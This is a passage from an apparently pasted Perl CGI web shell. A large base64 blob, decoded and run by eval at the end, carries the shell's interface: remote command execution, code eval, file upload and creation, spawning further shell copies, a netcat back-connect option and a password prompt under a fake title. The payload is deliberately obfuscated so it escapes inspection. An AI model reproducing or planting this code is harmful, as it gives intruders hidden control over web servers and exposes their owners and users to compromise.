cGxlOiAodXNpbmcgbmV0Y2F0KSBwcmVzcyAmcXVvdDtMaXN0ZW4mcXVvdDsgYW5kIHRoZW4gcnVuICZxdW90O25jICIuJHhTZXJ2ZXJJUC4iICIuJGxwb3J0Qy4iJnF1b3Q7PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Zm9sZGVyXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGb2xkZXJuYW1lPC90ZD48dGQgc3R5bGU9XCJ3aWR0aDozMDRweDtcIj4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjMwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZvbGRlcm5hbWVcIiB2YWx1ZT1cIm5ld2ZvbGRlclwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmb2xkZXJcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiaGlkZGVuXCIgaWQ9XCJuZXdmaWxlXCI+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGaWxlbmFtZTwvdGQ+PHRkIHN0eWxlPVwid2lkdGg6MzA0cHg7XCI+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDozMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJmaWxlbmFtZVwiIHZhbHVlPVwibmV3ZmlsZVwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmaWxlXCIgdmFsdWU9XCJDcmVhdGVcIiAvPg0KPC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3dXBsb2FkXCI+DQo8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiJcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDo1NjBweDtcIj4NCjx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMjBweDtcIj5TYXZlIGFzPC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiZmlsZW5hbWVcIiB2YWx1ZT1cIlwiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPkZyb20gQ29tcHV0ZXI8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZWxvY2FsXCIgLz4NCjwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bk5ld1VwbG9hZExvY2FsXCIgdmFsdWU9XCJHZXRcIiAvPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwiZGl2X2V2YWxcIj4NCjxmb3JtIG1ldGhvZD1cImdldFwiIGFjdGlvbj1cIj9cIiBzdHlsZT1cImRpc3BsYXk6aW5saW5lO21hcmdpbjowO3BhZGRpbmc6MDtcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRpclwiIHZhbHVlPVwiIi4keEN3ZC4iXCIgLz4NCjx0YWJsZSBjbGFzcz1cInRibEJveFwiIHN0eWxlPVwid2lkdGg6NTYwcHg7XCI+DQo8dHI+PHRkPg0KPHRleHRhcmVhIG5hbWU9XCJldmFsXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIj4iLiRjbWRldmFsLiI8L3RleHRhcmVhPg0KPC90ZD48L3RyPjx0cj4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246cmlnaHQ7XCI+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bkV2YWxcIiB2YWx1ZT1cIkV2YWxcIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9XCJoaWRkZW5cIiBpZD1cIm5ld2NoaWxkXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBTaGVsbG5hbWU8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY2hpbGRuYW1lXCIgdmFsdWU9XCIiLiRzaGVsbF9uYW1lLiIuY2dpXCI7IC8+DQo8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTmV3Y2hpbGRcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiYm90dG9td3JhcHBlclwiPg0KPGRpdiBjbGFzcz1cImNtZGJveFwiPg0KPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRhYmxlIHN0eWxlPVwid2lkdGg6MTAwJTtcIj48dHI+DQo8dGQgc3R5bGU9XCJ3aWR0aDo4OCU7XCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgaWQ9XCJjbWRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCJcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgLz48L3RkPg0KPHRkIHN0eWxlPVwid2lkdGg6MTAlO1wiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuQ29tbWFuZFwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgdmFsdWU9XCJFeGVjdXRlXCIgLz48L3RkPjwvdHI+PC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cInJlc3VsdFwiIGlkPVwicmVzdWx0XCI+DQoiLiRyZXN1bHQuIg0KPC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+DQoiOw0KfQ0KZWxzZSB7DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfZmFrZV9uYW1lOw0KCSRodG1sX2hlYWQgPSAiPHRpdGxlPiIuJGh0bWxfdGl0bGUuIjwvdGl0bGU+Ii4kc2hlbGxfc3R5bGU7DQoJJGh0bWxfYm9keSA9ICINCjxkaXYgc3R5bGU9XCJtYXJnaW46MzBweDtcIj4NCjxkaXY+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwicG9zdFwiPg0KPGlucHV0IGlkPVwiY21kXCIgdHlwZT1cInRleHRcIiBuYW1lPVwicGFzc3dcIiB2YWx1ZT1cIlwiIC8+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJidG5wYXNzd2RcIiB2YWx1ZT1cIk9rXCIgLz4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxMHB4O1wiPiIuJHNoZWxsX2Zha2VfbmFtZS4iPC9kaXY+DQo8L2Rpdj4NCiI7DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgfHwgZGVmaW5lZCgkX1ZBUnsncGFzc3cnfSkpIHsgJGh0bWxfb25sb2FkID0gIm9ubG9hZD1cImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygpO1wiIjsgfQ0KZWxzZSB7ICRodG1sX29ubG9hZCA9ICIiOyB9DQokaHRtbF9maW5hbCA9ICINCjxodG1sPg0KPGhlYWQ+DQoiLiRodG1sX2hlYWQuIg0KPC9oZWFkPg0KPGJvZHkgIi4kaHRtbF9vbmxvYWQuIj4NCjxkaXYgaWQ9XCJtYWlud3JhcHBlclwiPg0KIi4kaHRtbF9ib2R5LiINCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPiI7DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCiRodG1sX2ZpbmFsID1+IHMvXHMrLyAvZzsNCnByaW50ICRodG1sX2ZpbmFsOw==";$base64_alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';$base64_pad='=';$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_';$uuencode_pad='`';$tr_uuencode=" ".$uuencode_alphabet;$tr_uuencode=~s/(\W)/\\$1/g;$tr_base64="A".$base64_alphabet;$tr_base64=~s/(\W)/\\$1/g;sub b64decode{local($_)=@_;local($result);eval qq{tr|$tr_base64||cd;tr|$tr_base64|$tr_uuencode|;};while(s/^(.{60})//){$result.=unpack("u", "M".$&);}if($_ ne ""){$result.=unpack("u",substr($uuencode_alphabet, length($_)*3/4,1).$_);}return $result;}sub b64encode{local ($_) = @_;local ($chunk);local ($result);while (s/^((.|\n){45})//){$chunk = substr(pack("u", $&), $[+1, 60);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk."\n";}if($_ ne ""){$chunk=substr(pack("u", $_),$[+1,int((length($_)+2)/3)*4-(45-length($_))%3);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk.($base64_pad x ((60-length($chunk))%4))."\n";}$result;}eval(b64decode($shell_code));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement